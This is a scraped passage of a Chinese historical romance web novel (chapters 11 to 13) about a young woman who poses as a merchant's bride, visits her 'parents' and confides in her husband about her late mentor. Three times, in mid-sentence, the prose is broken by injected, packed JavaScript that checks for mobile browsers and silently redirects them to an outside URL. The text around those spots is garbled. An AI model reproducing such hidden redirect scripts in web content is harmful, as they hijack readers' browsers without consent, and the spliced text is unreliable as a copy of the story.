冯嬷嬷今日讲得比昨日更细致，从衣食住行的礼节到各位长辈的脾性喜好......季灵儿犯困不感兴趣，频频打盹。 “少夫人。” 她已记不得这是冯嬷嬷第几次提醒，明显感受到对方耐心在流失。觑见案上戒尺，手心不由沁出一层薄汗。 想办法让自己集中精神，遂主动问：“嬷嬷说了这么多，怎么没提夫君的喜恶？” 冯嬷嬷：“这得少夫人自己观察揣摩。” “......”季灵儿不死心，笑着脸凑近问：“夫您看着夫君长大，定然十分熟悉，就稍微透露给我一些他的忌讳，免的我不知情由惹他不快。” 冯嬷嬷只当她对秦劭用心，稍加思索，道：“大爷是极沉稳自省的，行事有度，待人待己皆循礼法，最厌无规矩，轻浮无状之人。” 季灵儿心说这几个字简直照着她说的，难怪他从前总罚自己。 如此想着，她忍不住翘起嘴角，太好了，以她的犯错频率，被秦劭厌恶休弃不过是迟早的事。 “还有一事请教嬷嬷，”季灵儿趁热打铁，问：“昨日您说的七出之条我未曾记清楚，可否请您再重复一遍，我好铭记于心，以免犯忌。” 只听着不保险，当即取出笔墨，一字不落记录下来。 冯嬷嬷见她如此用心，露出满意神色。 ... 秦劭午时返家，先拐去书房取出《饮马图》，让阿吉差人送到连府。 阿吉：“爷既知边掌柜有二心，为何还纵容他拿走此图？这可是您珍爱的藏品。” 秦劭走到门前，望着外头洋洋洒洒的雪花，声音也裹上一层清冷：“舍不了孩子套不着狼，他以为借官府之手能夺权，殊不知与虎谋皮难有下场。让秦禄一定盯紧，我要知道他们每一步动作。” 回堂屋，见季灵儿盘腿坐在暖炕上，伏在小几上盯着一张纸发呆。 走近看清字迹，右眼皮跳了跳。 “在做什么？” 季灵儿不起身也不抬头，亦没回他的话，淡淡应一句：“您回来了。” 秦劭褪去大氅，在小几另一侧坐下，点着纸上字迹又问一遍：“这是什么？” “七出之条，您不知道吗？”季灵儿语气懒懒的。 秦劭耐心道：“我问这圈圈叉叉是何意。” “啊，这个......我随便画的，警戒自己。” 季灵儿答得随意，但这些都是她深思熟虑的痕迹。 无子，她刚嫁进来没多久，只要不圆房就不会有，好办，所以画叉。 淫佚，不是很懂如何实施，先放一放。 不事舅姑，这个不仅好办，还能让自己快活，圈起来。 口舌，与上一条异曲同工，圈起来。 盗窃......新婚之夜她已行过一次窃，吃亏不小，暂且不考虑，画叉。 妒忌，秦劭至今未纳妾，此条眼前用不上，以后用得上再议。 恶疾......跟装病差不多？能被休弃应当是极为严重的病症，实施难度略大，画叉。 季灵儿逐条核对下来，决定优先实施画圈的，未标记次之，全行不通再考虑画叉的。 当即委屈巴巴抬眼，对秦劭说：“夫君，我今日早起又被折腾着学一晌规矩，实在累的紧，午膳可否不去正院用？” 11. 回门 季灵儿问出此话虽是有意犯规矩，但疲惫神态不掺假，不想应付一家子长辈的心思更出自肺腑。 秦劭方才进来见她神色恹恹的确心疼，可知她素来惫懒，恐接二连三纵容她坏规矩助长气焰，一时不好决定，看着她眼下的青影陷入沉默。 见他迟疑，季灵儿补充道：“我并非贪图安逸，实是腰酸背痛，恐在长辈面前失仪。” 欲盖弥彰的解释一出，便显得假了，秦劭的五分动摇瞬间消散两分，余下三分化作探究。 季灵儿被他盯的越发心虚，双手握拳拱在鼻尖，“真的很累，求您了。” “下不为例。”秦劭终是点了头，话音落扭头吩咐：“照少夫人的话去回老夫人，另外教人在这屋布膳，我陪少夫人用。” 秋棠领命出去。 两人用完膳，老夫人身边的丫鬟端着一盅汤进来，行礼道：“老夫人听闻少夫人辛苦，特命人炖了这盅参汤给您补身子。” 汤盅放在季灵儿跟前，盖子打开，参香混着药味翻滚出来，季灵儿皱着鼻子后仰。 “这哪里是汤，分明是碗药。” 丫鬟道：“里面添了许多味补虚养血的药材，都是老夫人特意关照的。” 季灵儿咬着“补虚养血”四个字看向秦劭。 “下去吧，向老夫人谢恩。”秦劭遣退丫鬟，为她解惑：“想是你说腰酸背痛，祖母误会了。” 季灵儿在他强压笑意的脸上读出一丝不妥，转头问罪秋棠：“你同老夫人说什么了？” 秋棠低头，惶恐道：“奴婢照实说的，说少夫人腰酸背痛，大爷顾念少夫人身子特意差奴婢来禀老夫人。” 季灵儿：......好一个照实说的。 秦劭催促：“祖母一番心意，别凉了。” 季灵儿屏气喝完了老夫人的关照。 * 回门日，玉秀秋棠轮流进来叫四回，没能把人从床上拉起半寸。 帘帐再次掀开，耳边第五次响起呼唤，季灵儿失了耐心，懒得睁眼，抄起一旁的鸳鸯纹瓷枕砸向声源。 扔完重重扭身向里，把头蒙进绣被，闷闷道：“都说了再容我睡半个时辰。” 秦劭把接在怀中的瓷枕放回原处，无奈道：“已过巳时了。” 没人应声。 “季凌。”他声音沉下来。 绣被猛地一颤，季灵儿探出脑袋回头，通过张开细缝的眼睛看清来人，睡意吓退一半。 秦劭立在床榻前，目光落在她红扑扑，凌乱粘着碎发的脸蛋上，沉静却极具压迫感。 “我，我现在起。”季灵儿借揉眼挡住视线，边说边坐起身子，青丝随动作铺散肩头，垂落胸前的那一缕正晃悠悠轻颤。 引着注视它的目光往松口的衣襟下探寻。 不经意的撩拨最为致命，但当事人不自知，以为他不信任自己，坚定道：“我保证不会重新躺回去，您不必一直看着我。” 衣襟被她随手拢住，秦劭收了目光出去，唤人进来伺候梳妆。 二人出门已巳时过半，马车刚拐出街角，季灵儿就听见来自肚子咕噜噜的抗议声。 委屈地瘪起嘴，都怪他们催的紧，害她着急忙慌，忘了让人准备吃食垫肚子。 算了，左右不是第一次饿肚子，没什么难捱的，季灵儿安慰完自己，歪头抵在车身，准备眯个回笼觉熬过饥饿。 “要将近两刻钟才能到，你先吃些点心垫垫。”秦劭不知从哪里变出一个圆形食盒，递到她跟前。 季灵儿接过打开，里面精致摆着桂花糕和枣泥糯米团，热气裹着甜香扑鼻，她咽下口水，欣喜抬眼，“先生好贴心。” 她倒是嘴甜。 秦劭笑了，双眸泛起柔光，悠然清浅。 季灵儿咽下一口软糯，甜蜜从里往外蔓延，含糊说：“这团子真好吃......先生笑起来也好看。” ... 宋府门前红绸高挂，宋员外夫妇得了通报亲自出门相迎。 “岳父岳母安好。”秦劭拱手，语气平淡无波。 宋员外：“贤婿快免礼，小女在府上一切可好？” 季灵儿唇角微扬，挽上秦劭的手臂，娇声道：“夫君待我极好，爹娘不必挂心。” 她靠的很近，柔软隔着衣料紧贴秦劭手臂，本人未察觉，秦劭却明显感受到被挤压的温软，垂在身侧的指节微蜷，看向她娇俏侧脸，眸中有春水轻漾。 慢吞吞跟出来的年轻男子一见她挽着秦劭笑得灿烂，铜铃大的两眼一斜，不屑哼了哼。 “燚儿。”宋员外低声斥责，提醒他打招呼。 宋燚不情不愿地拱手，“妹妹妹婿辛苦。” “舅兄客气。”秦劭回礼道。 宋员外接过话头，寒暄几句领众人行至正堂。 宋家地主出身，虽不比秦家宅子阔气，自有一派富丽。 季灵儿跟着秦劭落座，一抬头正见宋燚大剌剌地倚在侧椅上，翘着二郎腿。 她在曹县讨生活多年，对这位仗着有钱欺行霸里的阔少爷不陌生。 目光相撞，她清楚看见对方眸中轻蔑，不甘示弱地瞪回去。 宋燚早晨才知晓妹妹逃婚，被一个野丫头冒名顶替，看她坦然受之的模样，鄙夷又窝火。 横眉回她一眼，挑衅道：“果然是富贵养人，妹妹才嫁过去两天，娇养地愈发水灵，我这做哥哥的险些不敢认。” 季灵儿故意要气他，十分坦然地点头：“是啊，夫君和秦家上下都待我极好。” 宋员外警告地斜宋燚一眼，笑着打圆场：“芮宁得嫁好人家，我和你娘欢喜得很.....只不过你娘心中不舍，这两日常常念叨你呢。” 王氏忙不迭点头，眼眶泛红：“养在跟前十几年的女儿，忽然就离家......嫁人了，做娘的怎会不心疼。” “大婚事情繁琐，娘让人给你裁制的冬衣没来得及装箱，还有几样新打的首饰，全在你房中搁着，随娘去瞧瞧？” 季灵儿知道她有话想单独说，也猜到她要说什么，故意推脱：“娘，我还饿着肚子呢，东西不会跑，咱吃完饭再看不迟。” 说话是夹着嗓子，一副撒娇的女儿态。 王氏一愣，看向宋员外。 宋员外勉强笑道：“膳食早已备好，咱们先开席。” 席上菜肴丰盛，宋员外有一句没一句地与秦劭闲聊，言辞间不着痕迹地探问他的喜好。 季灵儿冷眼旁观，心道这岳丈对女婿未免太殷勤了些，半点不掩饰想巴结秦家的意思。 心念一转，含笑插话：“夫君喜爱书法字画，对了爹，您前些日子不是刚得了一幅名家真迹吗，可否借我们赏鉴几日？” 宋员外嘴角抽搐，那幅字画花他不少金子，高挂书房为了充门面，同来访客友附庸风雅，哪舍得取下来给人，强笑道：“不过是幅赝品，不值一看。” 季灵儿故作惊讶，扬声道：“赝品？那定是仿得极好的，不然爹怎会挂在书房最显眼处……爹不会是舍不得借给我们吧？” 宋员外尴尬笑道：“说什么胡话，哪会舍不得，是那画挂得高，怕取下来弄坏了。” 季灵儿不肯善罢甘休，眉眼低垂控诉：“都说嫁出去的女儿泼出去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379875|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水，爹就是不疼女儿了。” 宋燚砰地放下酒杯，嚷道：“那字画平日连我都碰不得，你别太过分！” “燚儿！”宋员外厉声喝止。 季灵儿挑眉看向宋燚，眼中带着挑衅：“哥哥怎么如此激动，莫非觉得我嫁出去了，就不是宋家人了？” 宋燚气得满脸通红，拳头紧握，几乎要脱口而出什么，被父亲瞪回去。 秦劭也在桌下按住她的手示警，面上一派平和:“想是岳父珍藏，娘子不可无礼。” 季灵儿听出他在教训，用力抽回手，无声看向宋员外。 宋员外有求于人，不得不咬碎牙割爱：“不碍事，是我们把儿女纵坏了，贤婿若真喜欢，待会儿我就让人取下来。” “多谢爹。”季灵儿赶在秦劭开口前先道了谢，旋即嘚瑟看向宋燚，笑道：“爹爹都如此割爱了，哥哥一向疼我，不表示一下吗？” 宋燚脸色更难看了，猛地站起身，凳子在地面刮出刺耳的声响，“我吃饱了，先回房歇息。” 说完大步离去。 宋员外干笑两声掩饰尴尬，对秦劭说：“燚儿性子直，你别往心里去。” 秦劭：“岳丈言重了。” 宴席终了，王氏又提起带季灵儿回房看衣服首饰。 门一关，季灵儿开门见山道：“夫人有话直说吧。” 王氏听她改了称呼，便不多废话：“请姑娘继续装下去吧！” 季灵儿：“假的成不了真，早晚有露馅的时候，夫人太为难人了。” 王氏攥着帕子，声音发颤：“我知道这有些强人所难，但宋家实在开罪不起秦家，还有芮宁的名声......若让人知道她与人私奔，这辈子就毁了！” 季灵儿讥讽道：“逃婚是您女儿自己选的，我答应她的事已经做到，没理由担惊受怕过日子替她遮羞。” 王氏急道：“只需再撑些时日，等风头过去，我们定会想办法帮你脱身。” 季灵儿不信她的缓兵之词，追问：“哦？夫人先说说，想如何帮我脱身？” “这，这......”王氏没往长远想，自是答不出。 “夫人既无妥善办法，不如现在就捅破，省得我日日提心吊胆。”季灵儿说罢欲走。 王氏大惊，慌忙拦住，“姑娘莫冲动，只万万不可！只要你肯帮忙，银钱方面我们绝不吝啬！” 见她无动于衷，又急急补充：“房契田地也是可以商量的，姑娘起先答应帮芮宁不是为了银钱生计吗，等这风头过去，宋家定保你往后衣食无忧。” 季灵儿转身坐下，指尖轻点下颌，似在思量。 片刻，她悠悠开口：“夫人所开条件确实动人，可若我继续留在秦家，能享受的荣华远胜这些，若不慎穿帮，怕是在河东府无立足之地，要田地房契有何用？” 王氏由喜转惊，一时怔住。 季灵儿眼底掠过讥诮，“若真那么容易，夫人又何苦求我？” 王氏涩声道：“姑娘想要什么，不妨直言。” “我只想早早离开秦家。” “算我求姑娘了，就当行好事帮个忙吧。”王氏说着就要跪下。 季灵儿拦住她：“夫人这不是求人，是威胁。” 就在这时，门被猛地推开，宋燚气势汹汹地站在门口，“娘，这么低三下四求一个贱丫头做什么，她要走就走，咱还怕秦家不成！” “你住口。”王氏急斥。 宋燚不依：“我绝不会任她踩在咱家头上，现在就去告诉秦劭真相！” 他转身往回走，恰逢秦劭正从回廊那头过来。 12. 拥抱 “舅兄为何如此匆忙？” 秦劭身姿挺拔，神色冷峻，和缓的语调自带威压，宋燚有些哑火，挺直腰板撑起几分气势，道：“我有话同你说。” “舅兄请讲。” “燚儿。”王氏跟出来赶在宋燚开口前打断，挂起笑对秦劭说：“贤婿来接芮宁吗？” 秦劭点头：“时辰不早，我们该回府了，岳母若舍不得，我会常带娘子回来。” “贤婿有心了，但你成日事务繁忙，不必总折腾，你同芮宁夫妻和睦，我和你岳丈就欢喜。” 秦劭目光扫过她身后：“怎不见娘子？” 王氏笑答：“芮宁被我们宠坏了，方才说她两句不爱听的，正耍性子呢。” 秦劭似笑非笑挑眉，“我去瞧瞧。” 看宋燚冲出去，季灵儿很希望他能顺利把事情捅到秦劭面前，可外头动静显然不如她所愿，失望之余，思索要不要继续把李代桃僵的戏码做下去。 “多大人了还同岳母闹脾气？”秦劭颀长身躯挡在她身前，语气近乎宠溺。 “我没——” 宽大手掌覆在她头顶，安抚似的揉了揉，季灵儿没出口的话戛然止住。 “是觉得秦家规矩大，不愿跟我回去？”秦劭垂眸，视线凝着她。 季灵儿恍惚生出错觉，他似乎什么都知道，抬眼探进深邃的眸中，瞧不出任何异常。 转念又觉可笑，眼中不容沙子的秦劭，知道她不是真正的宋芮宁，怎可能不拨乱反正。如此在意，定是怕好不容易娶到的娘子出岔子。 季灵儿定下心神，觉得可以以此做筹码，故作委屈道：“秦家规矩的确束缚人，远不如在娘家开怀。” 忽闪的睫毛在她眼下投出阴影，藏着不经探究的狡黠。 秦劭捕捉到了，温声问：“那你想如何？” “我要夫君答应，以后多宽让我，少让我守烦人的规矩，否则我赖也要赖在娘家长住。” 秦劭折眉：“出嫁的女儿赖在娘家成什么体统。” “我不管。”季灵儿往椅背上一瘫，当真耍起赖来。 秦劭觉得她在众人面前给自己出难题，他不想受威胁退让，偏又训斥不得，脸色不受控地沉下来。 王氏在旁看得焦心，生怕季灵儿动真格的不同秦劭回去，更怕她的无理取闹惹怒秦劭，连累宋家，忙对秦劭赔笑：“贤婿莫怪，芮宁向来娇惯，不懂事，你先去前厅喝茶，我再说说她。” “不劳岳母费心。”秦劭说，目光一直锁在季灵儿身上，晦暗不明：“你当真要闹？” 他声线冰冷，季灵儿咽了咽口水，忍不住想服软，全靠不甘心撑着。 秦劭见她不语，忽上前一步，一手揽住她肩膀，一手托起腿弯，将人打横抱起。 季灵儿又惊又羞：“您，您做什么！” “回府。” 秦劭撂下两个字，大步流星走出宋府。 从闺阁到门口路径不算长，季灵儿在这极短时间里，快速想明白一件事。 宋家对秦劭的巴结与忌惮程度远超她的认知，身为曹县数一数二的地主富绅，又花钱捐了员外郎的闲职，跟官府攀上亲近，同商贾秦家本无往来交集，他们尚且如此，曹县其他商户更不必说。 她想方设法混进弟子班，就是为了学成回曹县，夺回师父丢失的东西，若能好生利用秦家势力，会省许多力气。 阴差阳错进秦家，兴许是师父在天有灵的庇佑。 她想的专注，忽略了怀抱主人的心跳，和他灼热又疑惑的目光。 小姑娘大庭广众被抱在怀中，竟然面不红心不跳，还有心思跑神，他很想不通。 自己已经年岁大到没有魅力的地步了吗？ 季灵儿几乎是被人“扔”进马车里的，揉着磕在车壁上手肘，小声嘟囔：“一点不懂怜香惜玉，难怪这么多年讨不到娘子。” “说什么？”秦劭心中困顿，语气裹满凉意。 “没，没什么，”季灵儿心虚摆手，道：“我有重要的话没跟爹娘说完，您先避一避，让玉秀过来。” 玉秀听命走到车前，季灵儿附在她耳边小声嘱咐几句。 目送秦家车马离开，玉秀转身回府，向宋员外夫妇传递季灵儿所说，“姑娘同意暂且代替小姐留在秦家，不过她有条件，让老爷您出资修缮清净庵，重塑庵中所有佛像，并每月供养香火。” 宋员外在心算一笔账，得出一串足令他肉疼的数目。 沉默许久，叹道：“你回去转告她，我会安排人照她说的办，她必须保证老老实实待在秦家。” “是。” 宋员外又问：“家里情形是你告诉那丫头的？” 玉秀明了他提用膳时遭季灵儿敲诈一事，胆怯解释：“奴婢怕她不清楚情况，在人前露馅。” 想到那幅画宋员外便气恼，脸上神色变凌厉，道：“你自幼跟着小姐，身契在宋家，与宋家荣辱一体，只有宋家好，你才保得住命，明白吗？” “奴婢明白。” 宋员外又叫人取来书房里的挂画交给玉秀，摆手道：“去吧，打起十二分精神看好那丫头。” 玉秀躬身退下，宋燚仍为今日种种愤懑，“爹，我实在不明白，秦家再家大业大，咱家也不是吃素的，犯得着这么怕他们吗？” 宋员外瞪一眼不争气的儿子，道：“你懂什么，我并非怕秦家。” “那是什么？” 宋员外恨铁不成钢，又怕儿子冒失坏事，耐着性子同他细说利弊：“秦劭如今是商行当家，网罗河东府生意，有生意就有利益，与秦家交好能分羹，反之必遭其害。何况你妹妹这门亲事，是县老爷暗示提点的，亲事作废，且不论秦家，无法向县老爷交代啊！” ... 马车内气压低沉，袅袅暖烟在寂静中升空，盘旋，消散，季灵儿一直侧身看外面街景，神情十分专注。 小贩的叫卖，行人的喧嚣，车轮碾过石板路的响动，混在风里灌入车厢，扰得秦劭难以平静，他抬手捏了捏眉心，道：“有什么吸引人的吗？” 宁愿顶着风也不看他。 实际上季灵儿对这条路相当熟悉，并没有吸引人的景致，只因为感受到秦劭在生气，猜想和自己在宋府的放肆有关，刻意避开罢了。 “随便看看。”她微微转回来一些，不敢与他对视。 “从前有人抱过你吗？”秦劭问。 这个问题堪称突兀，季灵儿愣了又愣，仍然怀疑自己的耳朵。 秦劭没有重复，转头望着窗外，眉眼淡漠。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379876|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 太冲动了，他想。 抱她冲动，问话也冲动。 “有啊，我师父。”季灵儿想想还是答了。 秦劭眉头舒展些许，回头看着她，“季掌柜？” 季灵儿诧异：“您知道？” “你拜师时提过。”秦劭不动声色道。 “是吗？”季灵儿是说过自己有师父，不记得提过师父姓名......兴许是她忘了，没继续往深处想，问道：“您认识我师父吗？” “闻听是位可歌可敬的人物，可惜无缘得见。” 季灵儿很久没听人如此赞赏师父了，眼眶不自觉地泛红，忍不住再次确认：“您说的是真心话？” “自然，”秦劭蓦然出神须臾，语气温和道：“既然提起，同我说说这位季掌柜吧。” 因无人可诉，三年来季灵儿从未与人提起关于师父的事，秦劭的追询让她心头一热，竟有些哽咽。 “师父叫季璇，是位极厉害的女子，曾经凭一己之力挽救濒危的票号，她私下里待人很温和，总说人活世上各有各的不容易，能帮一把是一把，师父出身富贵，却从不轻视任何人，还教育我说造化无常，决不能凭一时贫富贵贱定生死......” 老天爷不公，偏叫这样的人受人轻贱诋毁，不仅一手救活的票号被抢，连性命都丢了。 季灵儿说到此处声音发哑变调，她顿住，垂眸掩饰黯然。 她恨，她怨，这些年压在心底的苦痛借机涌了出来，喉咙被苦涩哽住，她不敢往下说，怕自己失控。 “季凌，”秦劭拍了拍身旁的位置，声音低柔：“坐这边来。” 季灵儿迟疑了一下，挪身靠过去。 下一瞬，他的手臂圈住她的肩膀，轻而稳地扬起落下，如此反复地安抚她。 原本忍得住的，被他这样一哄，积压多年的情绪瞬间崩溃，眼泪放闸似的往下滚，一发不可收拾。 秦劭维持着哄慰的动作，没有主动抱她，只说：“想哭就哭，这里没有旁人。” “你看见了。”季灵儿泣不成声，还倔强地回嘴。 “我记性不好，很快便会忘。”他说。 季灵儿想说鬼才信你的话，但倾泄的情绪收不住，反正已经看见了，多一点少一点差别不大，干脆扑进他的怀里哭出声来。 呜呜咽咽的哭声闷在他胸膛上，秦劭收紧手臂，把人拢进些，让她靠得更稳。 马车驶入吉安，怀中哭声渐歇，只剩轻浅抽噎。 季灵儿略挪开脸，捏起他垂落的袖口擦拭泪痕，以及鼻涕。 秦劭：...... 季灵儿仗着他此刻的容忍，指着被哭湿的一大片说：“这里已经脏了，不差一个袖口。” 声音还带着些鼻音，听着委屈极了。 秦劭失笑，抬手替她理顺额前和鬓边凌乱的发丝。 指尖扫过肌肤，季灵儿惊觉自己方才有多失态，连忙挪开距离，胡乱拨弄头发，“我自己来就好。” 秦劭看着又被搅乱的发丝，笑了笑，没说话。 二人沉默相对，季灵儿试图捡回话题掩饰羞窘：“总之我师父是个很好很好的人。” “嗯。”秦劭点头，片刻后，低声问：“那她教导你时，你会怕她吗？” 13. 条件 同样是一个堪称突兀的问题，季灵儿很不理解，睁着清透的眸子看他：“您今日为何总问怪问题？” “聊到了，随便问问。”秦劭迎着她的目光，答得平静且自然。 “好吧。”季灵儿没瞧出异常，诚实道：“不犯错的时候就不怕。” “嗯，知道了。”秦劭若有所思点头，眉梢上扬了一点。 季灵儿蓦地心慌，追问：“知道什么？” “你怕我是因为犯错了。” “......” 圆溜溜的眼睛险些瞪出来，她莫不是被摆了一道？老奸巨猾的先生！ 季灵儿顺势提起女师父揣藏私心，于是很快从对秦劭的腹诽中抽出心思，双手垂放膝上坐端正，认真唤了一声先生。 “我不想荒废您和师父教我的本事，很想继续学做生意。” 乖巧，表示有所求，秦劭略向后靠了些，应道：“的确不该荒废。” “那我年后能跟您回学堂吗？” “学期未到，你自可以继续跟着学。” 季灵儿雀跃得几乎蹦起来，浓密的睫毛高高翘着，旋即落寞垂下，忽闪打在下眼睑处。 “可……要怎么跟家里交代？会不会不方便？” 小姑娘惯会以退为进，秦劭心想。 紧接着踏上她铺的台阶，“我会同祖母说。” “先生真好！”她又笑起来，眸中星光熠熠。 “不过，”秦劭看足了瘾，话锋一转，“祖母能否答应要看你表现，表现好，讨她老人家高兴我才好说话。” 季灵儿陪老夫人说话时对方明里暗里表现出对抱曾孙的期望，乍听“让她老人家高兴”第一时间联系到生孩子上，紧张地问：“怎样算表现好？” “年关事务繁杂，你这些日子跟着母亲，多听多看多学，帮她把年节筹备妥善，祖母自然高兴。” 悬着的心落地，季灵儿拍着胸脯道：“没问题！” ... 过了回门日，季灵儿终于不用再往正房陪着用膳，少了对明枪暗箭的防备，整个人松快下来，礼仪规矩忘却大半，吃得格外香。 秦劭接连观察两顿饭，发现小姑娘吃相虽一般，倒没有挑食的毛病，桌上端任何菜都能喜滋滋往嘴里塞。 看她吃得尽兴，秦劭跟着胃口打开，比平日多添半碗饭，左右在自己屋里，没苛刻得提醒她注意规矩。 快吃好时，秦劭问她：“我明日去溯州查账，你可有惦念的东西，我顺路捎回来。” “溯州？”季灵儿刚咽下一口汤，唇瓣沾着微亮油光，随她说话一闪一闪，“溯州有什么好东西吗？” “你不知晓？”秦劭挑眉，“议亲时我听祖母说你是在溯州外祖家长大的。” 汤匙碰撞碗沿发出声响，季灵儿怔了怔，道：“是在那里生活过，但没特别吸引我的东西。” “原来如此。”秦劭敛眸笑了下，语气轻淡，“无妨，我不过随口一提。” 经验告诉季灵儿，先生的“随口一提”从来不是心血来潮，其中定然藏着心思。 譬如偶然提起一本书，是要考他们学问。 不经意提起一间铺子，是要考他们对其经营之道的理解。 甚至随口夸一句天色不错，还能扯出商队出行遭遇各种天气变化的应对。 不安地搅动着汤匙，用余光偷瞧，秦劭嘴角正勾着一抹若有若无的笑。 没错了，他定然话里有话！ 季灵儿搁下汤匙，装作后知后觉地“呀”一声，“您不提我险些忘了，还真有一样。” 秦劭抬眼看她。 “溯州水纹玉很是稀罕，玉雕数玉满堂的精致，您若方便，可否带一件他家的水纹玉雕挂件回来？” 季灵儿曾见过一枚水纹玉的平安扣，小小一块要价百两，她因好奇追问过几句，此时正好拿来对付。 不仅说了物件，还报出店名，她自信没什么破绽。 秦劭果然没多问，只道：“玉满堂，成，我记下了。” 用过膳，秦劭照例午歇，季灵儿以消食为由在庭院踱步，四下无人时，她小声问玉秀：“他不会觉察我并非真的宋芮宁了吧？” 玉秀思索道：“应是不能，奴婢听他们说大爷是眼里揉不得沙子之人，若有怀疑，没道理不往下追究。” “这倒是。”季灵儿拨着储水缸外层的棉布，喃喃道：“可我总觉得他话里有话在试探我。” 玉秀瞧不出秦劭有何不对，“兴许大爷单纯想给您带个礼物。” “希望如此。” “不过......”玉秀欲言又止。 季灵儿看向她。 玉秀想同她说三少爷的事，又怕她知道慌乱，反而在人前露出马脚，咽下到嘴边的话：“您还是要多当心。” … 当天下午，季灵儿开始随方淑凤学习筹备年节事宜，记采买清单，府内外人员安排，各房年节需耗，关系往来的礼赠......一件件琐碎事务堆叠，再没有多余精力思量秦劭的心思。 晚膳是陪着方淑凤用的，直到掌灯时分，季灵儿拖着满身疲惫回房，秦劭正坐在堂屋的暖炕上翻阅书卷，暖黄的烛火笼罩，轮廓柔和立体，恍若端坐供台的神祇。 光华内敛，佼然不群。 季灵儿不禁回想起初遇，也是她拜师那日，彼时他一身银线绣云纹的黛蓝长衫，端坐堂前，却清冷似雪峰之巅的霭松，让人望而生畏。 渐渐相处发现，他深藏于眉眼的并非冷漠，而是历经风霜后沉淀的从容。极少露出复杂情绪，哪怕被犯错的弟子惹怒，也是用最平静的口吻教育。 仔细想想，他从未疾言厉色训斥过弟子，可她就是怕他。 秦劭听到动静抬眸望她：“回来了，刚热好的牛乳，加了蜜，趁热喝了吧。” 季灵儿顺着看去，小几上牛乳热气氤氲，旁边还搁着一小碟山楂糕。 他是算好了自己回来的时辰，特意命人备下的。 这份细致入微的体贴，令她温暖与忐忑参半，她从不信没来由的示好，所以挪了半步便停住，指尖摩挲着袖口，迟疑道：“我今日很累。” 颤抖的睫羽暴露紧张，待秦劭明白过来她在委婉暗示什么，无奈地笑了笑，“你喝完牛乳泡个热水浴，能解乏睡得踏实。我也看得乏了，先去睡。” 说完搁下书卷起身，刻意伸了个懒腰，宽厚的脊背在烛光下拉出一道阴影，恰好罩在她身上。 季灵儿收拾妥当到内室，秦劭躺在架子床外侧，双目紧阖，呼吸平稳，看起来是睡着了，她轻手轻脚地爬到内侧，牛乳和热水浴效果甚佳，不多时也沉沉睡去。 又一夜落雪，天地混沌一片茫。 季灵儿睡醒时雪还未停，秦劭已经出门了，堂屋前扫出的小径上又落了一层薄雪。 不远处有一个雪人在冲她笑，她之前堆的那个早塌了，这个显然是新的。 因问两个丫鬟：“你们堆的？” 秋棠笑着摇头：“是大爷走前堆的。” 他都忙得脚不沾地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379877|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，还有闲情逸致堆雪人。 用过早膳，季灵儿又来到方淑凤房中，二人坐在窗下暖炕上为除夕家宴拟定膳食，季灵儿捧着后厨提报的菜单，依次念着。 时不时抬头看向方淑凤，等待她的意见。 方淑凤：“再加一道鲢鱼头豆腐汤，年年有余，好意头。” 季灵儿提笔记下，想着要讨老夫人开心，现学现卖提议：“祖母喜爱素斋，不如添一道素食汆的八宝珍丸，软糯不甜腻，又有福寿延年的好寓意。” 方淑凤欣慰点头。 婆媳二人正商议，门房急匆匆跑来，面色慌张。 “夫人，少夫人，外庄田管事的儿子田壮带着一群人在府外闹事，个个披麻戴孝，说要为死去的田管事讨个说法！” “田管事死了？何时的事？”方淑凤十分诧异，转头问赵嬷嬷。 赵嬷嬷摇头，“未曾听说。” 方淑凤：“找得力的人去门口稳住形势，再去打听清楚田管家的死是怎么一回事，你亲自去门口探听消息来回我。” 方嬷嬷领命，一盏茶后，面色凝重地回来，禀道：“外头人声称田管事在咱府里受了板子，回去后伤口溃烂，一直瘫在床上药石难医，前日咽气了。” 方淑凤陡然变了脸色，田管事三个月前因挪用公账被揭穿，她下令杖责二十，因他不是签卖身契的家奴，恰逢雇用契约期满，罚过便给了补偿金逐出秦家。 她当时顾念情分和田管事年纪，特意嘱咐执行家法的人留意手下轻重。 遂问：“我记得你当时专门去问过他的伤势，回说并无大碍。” 赵嬷嬷应道：“是，奴婢也记得清楚，大爷前脚走，这帮人便纠结旧事来闹，实在蹊跷。” 方淑凤若有所思点头：“是啊。” 年节将至，她想息事宁人，思量片刻道：“你亲自去同他儿子说，念在田管事为秦府效力多年，府上再额外给二十两抚恤，让他好生为父安葬。” 赵嬷嬷再回来时，脸色更差：“回夫人，那田壮在外闹，不要这打发叫花子的二十两，还扬言若秦家不出个管事的见他，便抬着棺材冲进府里来。” 方淑凤眉头紧蹙，沉声道：“将人带进来。” 